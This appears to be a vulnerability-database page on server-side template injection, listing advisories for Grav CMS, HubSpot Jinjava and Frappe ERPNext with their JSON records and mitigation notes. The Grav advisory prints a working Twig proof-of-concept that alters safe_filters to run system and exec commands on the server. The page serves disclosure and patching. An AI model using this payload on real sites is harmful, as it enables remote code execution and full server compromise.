            $active_language = $language->getActive();
        ...
        }
    }
}

Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safe_filters, effectively bypassing the Grav CMS sandbox.

Proof of Concept (PoC)

An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.

For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:

{% set arr = {'1':'system', '2':'exec'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}
{{ 'id'|system }}
{{ 'whoami'|exec }}

Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.

Impact

The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0-beta.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66299"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T00:36:36Z",
    "nvd_published_at": "2025-12-01T22:15:49Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nGrav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.\n\n## Details\n\nGrav CMS uses a custom sandbox to protect the powerful Twig methods such as `registerUndefinedFilterCallback()`. These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., `exec()`, `passthru()`, `system()`, etc.) within Twig template directives.\n\nThe current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the `isDangerousFunction()` method in the file `system/src/Grav/Common/Twig.php`:\n\n```php\n$this-\u003etwig-\u003eregisterUndefinedFilterCallback(function (string $name) use ($config) {\n    $allowed = $config-\u003eget(\u0027system.twig.safe_filters\u0027);\n    if (is_array($allowed) \u0026\u0026 in_array($name, $allowed, true) \u0026\u0026 function_exists($name)) {\n        return new TwigFilter($name, $name);\n    }\n    if ($config-\u003eget(\u0027system.twig.undefined_filters\u0027)) {\n        if (function_exists($name)) {\n            if (!Utils::isDangerousFunction($name)) {\n                user_error(\"PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`\", E_USER_DEPRECATED);\n\n                return new TwigFilter($name, $name);\n            }\n\n            /** @var Debugger $debugger */\n            $debugger = $this-\u003egrav[\u0027debugger\u0027];\n            $debugger-\u003eaddException(new RuntimeException(\"Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`\"));\n        }\n\n        return new TwigFilter($name, static function () {});\n    }\n\n    return false;\n});\n```\n\nIn this code, the `isDangerousFunction()` check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the `system.twig.safe_filters` configuration properties (whitelists that are empty by default) in the `system/config/system.yaml` file.\n\nNotably, the Twig class is defined within the `system/src/Grav/Common/Twig.php` file, and the Twig object (and environment) is instantiated there:\n\n```php\n/**\n * Class Twig\n * @package Grav\\Common\\Twig\n */\nclass Twig\n{\n    /** @var Environment */\n    public $twig;\n    /** @var array */\n    public $twig_vars = [];\n    /** @var array */\n    public $twig_paths;\n    /** @var string */\n    public $template;\n\n    // Constructor\n    public function __construct(Grav $grav)\n    {\n        $this-\u003egrav = $grav;\n        $this-\u003etwig_paths = [];\n    }\n\n    // Twig initialization method\n    public function init()\n    {\n        if (null === $this-\u003etwig) {\n            /** @var Config $config */\n            $config = $this-\u003egrav[\u0027config\u0027];\n            /** @var UniformResourceLocator $locator */\n            $locator = $this-\u003egrav[\u0027locator\u0027];\n            /** @var Language $language */\n            $language = $this-\u003egrav[\u0027language\u0027];\n\n            $active_language = $language-\u003egetActive();\n        ...\n        }\n    }\n}\n```\n\nSince the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute `system.twig.safe_filters`, effectively bypassing the Grav CMS sandbox.\n\n## Proof of Concept (PoC)\nAn authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.\n\nFor example, to exploit the vulnerability and execute the prohibited `system(\u0027id\u0027)` command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:\n\n```twig\n{% set arr = {\u00271\u0027:\u0027system\u0027, \u00272\u0027:\u0027exec\u0027} %}\n{{ var_dump(grav.twig.twig_vars[\u0027config\u0027].set(\u0027system.twig.safe_filters\u0027, arr)) }}\n{{ \u0027id\u0027|system }}\n{{ \u0027whoami\u0027|exec }}\n```\n\nOnce the page is saved, it can be accessed by unauthenticated users, triggering the execution of the `system(\u0027id\u0027)` command on the server hosting the vulnerable Grav CMS.\n\n## Impact\nThe vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.",
  "id": "GHSA-gjc5-8cfh-653x",
  "modified": "2025-12-02T00:36:36Z",
  "published": "2025-12-02T00:36:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-gjc5-8cfh-653x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66299"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)"
}

GHSA-GJX9-J8F8-7J74

Vulnerability from github – Published: 2026-02-03 17:52 – Updated: 2026-02-05 00:34
VLAI
Summary
JinJava Bypass through ForTag leads to Arbitrary Java Execution
Details

Impact

Vulnerability Type: Sandbox Bypass / Remote Code Execution

Affected Component: Jinjava

Affected Users: - Organizations using HubSpot's Jinjava template rendering engine for user-provided template content - Any system that renders untrusted Jinja templates using HubSpot's Jinjava implementation - Users with the ability to create or edit custom code templates

Severity: Critical - allows arbitrary Java class instantiation and file access bypassing built-in sandbox restrictions

Root Cause: Multiple security bypass vulnerabilities in Jinjava's sandbox mechanism:

  1. ForTag Property Access Bypass: The ForTag class does not enforce JinjavaBeanELResolver restrictions when iterating over object properties using Introspector.getBeanInfo() and invoking getter methods via PropertyDescriptor.getReadMethod()

  2. Restricted Class Instantiation: The sandbox's type allowlist can be bypassed by using ObjectMapper to instantiate classes through JSON deserialization, including creating new JinjavaELContext and JinjavaConfig instances

Attack Vector: An attacker with the ability to create or edit Jinja templates can: - Access arbitrary getter methods on objects in the template context - Instantiate ObjectMapper to enable default typing - Create arbitrary Java classes by bypassing type allowlists - Read files from the server filesystem (demonstrated with /etc/passwd) - Potentially execute arbitrary code

Patches

Status: Patched - CVE-2026-25526

Users should upgrade to one of the following versions which contain fixes for this vulnerability:

  • JinJava 2.8.3 or later
  • JinJava 2.7.6 or later

Fix Components:

  1. ForTag Security Hardening
  2. Added security checks to ForTag.renderForCollection() to enforce JinjavaBeanELResolver restrictions
  3. Implemented property access validation against restricted properties/methods before invoking getter methods
  4. Added checks for restricted class types before introspection

  5. Enhanced Type Validation

  6. Improved validation in JinjavaBeanELResolver.isRestrictedClass() to prevent instantiation of sensitive types
  7. Added additional restricted types to the denylist
  8. Implemented deeper validation for types created via ObjectMapper deserialization

  9. Configuration Protection

  10. Added checks to prevent creation of new JinjavaConfig or JinjavaELContext instances via ObjectMapper
  11. Prevented modification of readOnlyResolver configuration from untrusted templates
  12. Implemented additional safeguards around ELResolver configuration

  13. Collection Type Validation

  14. Implemented proper type validation in HubLELResolver to prevent collection type wrapping bypasses
  15. Added checks for wrapped types in collection deserialization
  16. Implemented validation for all types within collections against allowlists

  17. ObjectMapper Restrictions

  18. Added additional restrictions on ObjectMapper.enableDefaultTyping() to prevent enabling via less restrictive ELResolver
  19. Ensured default typing cannot be enabled without proper authorization

Information for Users: Upgrade to version 2.8.3 or 2.7.6 or later to address this vulnerability.

References

Project Resources

Security Standards & Classifications

  • CWE-502: Deserialization of Untrusted Data
  • CWE-913: Improper Control of Dynamically-Managed Code Resources
  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CVSS v3.1: Common Vulnerability Scoring System

Additional Resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hubspot.jinjava:jinjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hubspot.jinjava:jinjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T17:52:55Z",
    "nvd_published_at": "2026-02-04T22:15:59Z",
    "severity": "CRITICAL"
  },
  "details": "## Impact\n\n**Vulnerability Type**: Sandbox Bypass / Remote Code Execution\n\n**Affected Component**: Jinjava\n\n**Affected Users**:\n- Organizations using HubSpot\u0027s Jinjava template rendering engine for user-provided template content\n- Any system that renders untrusted Jinja templates using HubSpot\u0027s Jinjava implementation\n- Users with the ability to create or edit custom code templates\n\n**Severity**: **Critical** - allows arbitrary Java class instantiation and file access bypassing built-in sandbox restrictions\n\n**Root Cause**: Multiple security bypass vulnerabilities in Jinjava\u0027s sandbox mechanism:\n\n1. **ForTag Property Access Bypass**: The `ForTag` class does not enforce `JinjavaBeanELResolver` restrictions when iterating over object properties using `Introspector.getBeanInfo()` and invoking getter methods via `PropertyDescriptor.getReadMethod()`\n\n2. **Restricted Class Instantiation**: The sandbox\u0027s type allowlist can be bypassed by using ObjectMapper to instantiate classes through JSON deserialization, including creating new `JinjavaELContext` and `JinjavaConfig` instances\n\n**Attack Vector**: An attacker with the ability to create or edit Jinja templates can:\n- Access arbitrary getter methods on objects in the template context\n- Instantiate `ObjectMapper` to enable default typing\n- Create arbitrary Java classes by bypassing type allowlists\n- Read files from the server filesystem (demonstrated with `/etc/passwd`)\n- Potentially execute arbitrary code\n\n## Patches\n\n**Status**: Patched - CVE-2026-25526\n\nUsers should upgrade to one of the following versions which contain fixes for this vulnerability:\n\n- **JinJava 2.8.3** or later\n- **JinJava 2.7.6** or later\n\n**Fix Components**:\n\n1. **ForTag Security Hardening**\n   - Added security checks to `ForTag.renderForCollection()` to enforce `JinjavaBeanELResolver` restrictions\n   - Implemented property access validation against restricted properties/methods before invoking getter methods\n   - Added checks for restricted class types before introspection\n\n2. **Enhanced Type Validation**\n   - Improved validation in `JinjavaBeanELResolver.isRestrictedClass()` to prevent instantiation of sensitive types\n   - Added additional restricted types to the denylist\n   - Implemented deeper validation for types created via ObjectMapper deserialization\n\n3. **Configuration Protection**\n   - Added checks to prevent creation of new `JinjavaConfig` or `JinjavaELContext` instances via ObjectMapper\n   - Prevented modification of `readOnlyResolver` configuration from untrusted templates\n   - Implemented additional safeguards around ELResolver configuration\n\n4. **Collection Type Validation**\n   - Implemented proper type validation in `HubLELResolver` to prevent collection type wrapping bypasses\n   - Added checks for wrapped types in collection deserialization\n   - Implemented validation for all types within collections against allowlists\n\n5. **ObjectMapper Restrictions**\n   - Added additional restrictions on `ObjectMapper.enableDefaultTyping()` to prevent enabling via less restrictive ELResolver\n   - Ensured default typing cannot be enabled without proper authorization\n\n**Information for Users**: Upgrade to version 2.8.3 or 2.7.6 or later to address this vulnerability.\n\n## References\n\n### Project Resources\n- **Jinjava Source Code**: [github.com/HubSpot/jinjava](https://github.com/HubSpot/jinjava)\n- **Jinjava Releases**: [github.com/HubSpot/jinjava/releases](https://github.com/HubSpot/jinjava/releases)\n\n### Security Standards \u0026 Classifications\n- **CWE-502**: Deserialization of Untrusted Data\n- **CWE-913**: Improper Control of Dynamically-Managed Code Resources\n- **CWE-94**: Improper Control of Generation of Code (\u0027Code Injection\u0027)\n- **CVSS v3.1**: Common Vulnerability Scoring System\n\n### Additional Resources\n- [OWASP Template Injection](https://owasp.org/www-community/attacks/Server_Side_Template_Injection)\n- [Java Deserialization Security](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n- [CVE Standards and Procedures](https://cve.mitre.org/)",
  "id": "GHSA-gjx9-j8f8-7j74",
  "modified": "2026-02-05T00:34:36Z",
  "published": "2026-02-03T17:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/security/advisories/GHSA-gjx9-j8f8-7j74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/commit/3d02e504d8bbb13bf3fe019e9ca7b51dfce7a998"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/commit/c7328dce6030ac718f88974196035edafef24441"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HubSpot/jinjava"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/releases/tag/jinjava-2.7.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/releases/tag/jinjava-2.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JinJava Bypass through ForTag leads to Arbitrary Java Execution"
}

GHSA-GMXM-2P67-967R

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 18:31
VLAI
Details

An SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This can leak database information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-66434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T17:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This can leak database information.",
  "id": "GHSA-gmxm-2p67-967r",
  "modified": "2025-12-16T18:31:31Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66434"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-1"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-1-239e6086eadc8096bfcfe90551a3a483?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.